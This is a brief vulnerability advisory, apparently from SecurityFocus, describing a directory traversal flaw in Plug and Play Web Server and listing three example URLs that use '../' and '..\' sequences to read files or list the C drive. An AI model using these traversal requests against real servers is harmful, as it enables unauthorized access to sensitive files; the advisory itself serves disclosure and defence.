source: https://www.securityfocus.com/bid/8645/info

It has been reported that Plug and Play Web Server is prone a directory traversal issue allowing a remote attacker to traverse outside the server root directory by using '../' or '..\' character sequences.

Successful exploitation of this vulnerablity may allow a remote attacker to gain access to sensitive information, which may be used to mount further attacks against a vulnerable system.

http://www.example.com/../../existing_file
http://www.example.com\..\..\existing_file
http://www.example.com/../../ [show the files and the folders in C drive - if the 'Show Directory list when homepage does not exist' option is active.]